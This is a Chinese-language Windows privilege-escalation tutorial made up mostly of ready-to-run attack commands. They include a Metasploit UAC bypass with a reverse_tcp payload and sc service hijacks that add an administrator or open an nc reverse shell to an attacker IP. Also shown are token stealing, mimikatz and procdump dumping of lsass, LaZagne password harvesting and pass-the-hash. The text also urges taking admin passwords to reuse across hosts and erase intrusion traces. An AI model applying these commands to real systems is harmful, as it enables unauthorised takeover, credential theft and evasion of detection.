🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
# Windows系统提权 ## 提权知识储备 ### 1️⃣常见提权方法 >1、 溢出漏洞提权  2、 数据库提权  3、 第三方软件提权 ### 2️⃣Cmd命令无法执行原因分析 有时通过webshell连接上操作系统后,cmd命令可能无法执行,原因一般都是被管理员降权或删除、组件被删除。 解决方法是通过脚本木马查找可读可写目录,上传cmd.exe,调用设定cmd路径(找可读可写目录不要选带空格目录)。 ```cmd #设置cmd执行路径 setp c:\xxx\vvv\cmd.exe ``` ### 3️⃣提权常用命令讲解 ``` whoami ——查看用户权限 systeminfo ——查看操作系统,补丁情况 ipconfig——查看当前服务器IP ipconfig /all net user——查看当前用户情况 netstat ——查看当前网络连接情况  netstat –ano  /netstat –an | find “ESTABLISHED” tasklist ——查看当前进程情况 tasklist /svc taskkill ——结束进程 taskkill -PID xx net start  ——启动服务 net stop ——停止服务 hostname ——获取主机名称 quser or query user ——获取在线用户 netstat -ano | findstr 3389 ——获取rdp连接来源IP dir c:\programdata\ ——分析安装杀软 wmic qfe get Caption,Description,HotFixID,InstalledOn ——列出已安装的补丁 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber ——获取远程端口 tasklist /svc | find "TermService" + netstat -ano ——获取远程端口 ``` ## 系统溢出漏洞提权实战 ### **零、系统溢出漏洞提权分类:** 1. 远程溢出 攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用相应的溢出程序,即可获取到远程服务器的root权限。 2. 本地溢出 首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权, 攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出root权限 ### 一、UAC绕过提权 UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。 当获得的权限是属于管理员组的时候但是并不是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac。 **uac 绕过exp** ```sh #用kali use exploit/windows/local/ask meterpreter > background [*] Backgrounding session 1... msf5 exploit(multi/handler) > use exploit/windows/local/ask msf5 exploit(windows/local/ask) > set session 1 msf5 exploit(windows/local/ask) > set lhost 192.168.60.79 msf5 exploit(windows/local/ask) > set lport 4444 msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp msf5 exploit(windows/local/ask) > set technique exe msf5 exploit(windows/local/ask) > exploit 其他exp: use exploit/windows/local/bypassuacuse exploit/windows/local/bypassuac ``` ### 二、利用系统内核溢出漏洞提权 此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。 **微软官方时刻关注漏洞补丁列表网址:** https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017 >比如常用的几个已公布的 exp:KB2592799、KB3000061、KB2592799 **github中整理好的溢出提权exp:** https://github.com/SecWiki/windows-kernel-exploits https://github.com/WindowsExploits/Exploits https://github.com/AusJock/Privilege-Escalation #### 如何判断可用的漏洞 1. **快速查找操作系统未打补丁脚本** 可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下: ```cmd systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt ``` 2. **MSF后渗透扫描:** ``` post/windows/gather/enum_patches ``` 3. **Powershell扫描:** ``` Import-Module C:\Sherlock.ps1 Find-AllVulns ``` ### 三、利用SC将administrator提权至system **试用版本:**windows 7、8、03、08、12、16 关于sc命令:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。 ```cmd sc Create syscmd binPath= “cmd /K start” type= own type= interact sc start systcmd ``` >命令含义: >创建一个名叫syscmd的新的交互式的cmd服务 >然后执行`sc start systcmd`,就得到了一个system权限的cmd环境 ### 四、利用不带引号的服务路径 **Windows命令解释程序可能会遇到名称中的空格,并且没有包装在引号中的时候。就有可能出现解析漏洞。** 如开机自启动中有程序路径`C:\Program Files\Vulnerable.exe`,其中存在空格,此时在C盘根目录上传Program.exe文件时,可能会被目标开机自启动。如果无效,还可以尝试在C:\Program Files路径下上传Vulnerable.exe文件。 ``` C:\Program.exe C:\Program Files\Vulnerable.exe C:\Program Files\Vulnerable Service\Sub.exe C:\Program Files\Vulnerable Service\Sub Directory\service.exe ``` **可以使用以下命令查看错误配置的路径** ```cmd wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ ``` ### 五、利用不安全的服务权限 **⚫即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。** **AccessChk工具可以用来查找用户可以修改的服务:** ```cmd accesschk.exe -uwcqv “Authenticated Users” * /accepteula accesschk.exe -uwcqv “user” * ``` **sc命令也可以用来查找用户可以修改的服务:** ```cmd #查找可以修改的服务 sc qc “Service” sc config xxx binpath= “net user rottenadmin P@ssword123! /add” sc stop xxx sc start xxx ``` 每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。电脑重启时即可获得一个system的shell ##### 完整案例: **①、利用系统自带的 DcomLaunch服务测试(此服务Power User组低权可操作)** ```cmd #查询DcomLaunch的详细信息 sc qc DcomLaunch #查看服务是否启动 net start | find "DCOM Server Process Launcher" #运行 tasklist /svc 找到对应服务 tasklist /svc ``` **②、修改服务并获取系统权限** 这里要配置使用nc反弹shell到我的攻击机上,把nc放到c:\windows\temp目录下,使用sc对服务进行修改 ``` sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe" ``` ⛔注意`binpath=`后面一定要有个空格,IP为攻击者IP **③、查看是否第二步成功** ``` sc qc DcomLaunch ``` **④、配置账号密码** ``` sc config DcomLaunch obj= ".\LocalSystem" password= "" ``` **obj:**指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。 **password:**指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。 **⑤、重启服务** ``` net start DcomLaunch ``` **⑥、攻击机上用nc进行监听4433即可得到反弹的shell** ``` nc.exe -vv -l -p 4433 ``` ### 六、计划任务 **如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。** ```CMD #查看计算机的计划任务 schtasks /query /fo LIST /v #查看指定目录的权限配置情况 accesschk.exe -dqv "D:\test" -accepteula ``` ### 七、Meterpreter基础提权 **首先在Meterpreter会话执行ps命令查看目标机当前进程:** 假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,假设PID为2584: 然后我们可以执行以下语句窃取该用户进程的令牌: ``` steal_token  2584 ``` ## 溢出漏洞安全防范 **及时通过Windows Update或第三方工具360更新补丁** ## 提权后获取管理员密码 虽然我们已经有了管理员权限,但是我们最好是再获取管理员密码,原因如下 1. 很多管理员账号密码都设置成一样的,攻下一台就可以拿下所有 2. 远程连接时,比如使用木马,很容易被发现或者清理 3. 如果用管理员账号,可以清除渗透痕迹 4. 正规渗透测试过程中,都是取得管理员账号密码,登录3389端口或反端口连接者证明为成功 > 简单地说就是从获取管理员权限——>获取管理员账号 ### 1、本地管理员密码如何直接提取 #### ①、直接通过mimikatz读取管理员密码 > mimikatz,很多人称之为密码抓取神器,它的功能很多,最重要的是能从 lsass.exe进程中获取windows的账号及明文密码——这是以前的事了,微软知道后已经准备了补丁,lsass进程不再保存明文口令。Mimikatz 现在只能读到加密后的密码。 > **win10无效** ```cmd # 提升权限 privilege::debug # 抓取密码 sekurlsa::logonpassWords ``` 当无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码,具体步骤如下 ```cmd # 导出lsass.exe进程为lsass.dump文件 procdump64.exe -accepteula -ma lsass.exe lsass.dmp sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full ``` #### ②、Lazagne 需要本地支持python  > LaZagne项目是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码。 > LaZagne 几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases 等。 > 但是对聊天软件的支持不够本土化,主要支持一些国外的聊天软件。 ```cmd laZagne.exe all  #获取所有密码 laZagne.exe browsers  #只获取浏览器记住的密码 laZagne.exe all -oN  #将输出保存到文件     ``` -oN表示是纯文本格式(正常的)的输出,和屏幕打印内容相同;还可以写成-oJ,JSON格式的输出,更便于程序解析;或者写成-oA,同时输出两种格式。 ### 2、本地Hash远程直接登录 * * * 高版本的系统,密码不是明文的情况下,直接通过哈希值来取得管理员账号。主要通过MSF提供的exploit/windows/smb/psexec模块来完成 ```sh msf>use exploit/windows/smb/psexec msf>set rhost #目标IP  msf>set SMBUser administrator  #目标账号 msf>set SMBPass aaaaaa:bbbbbb #目标哈希值 msf>exploit  msf>shell ``` ### 3、Hash密钥暴力破解 * * * 1. 通过LC5暴力hash密码 使用gmer直接提权SAM和system文件或用Pwdump7提取hash后,最后使用LC5破解 2. 使用ophcrack破解系统hash密码 http://simeon.blog.51cto.com/18680/122160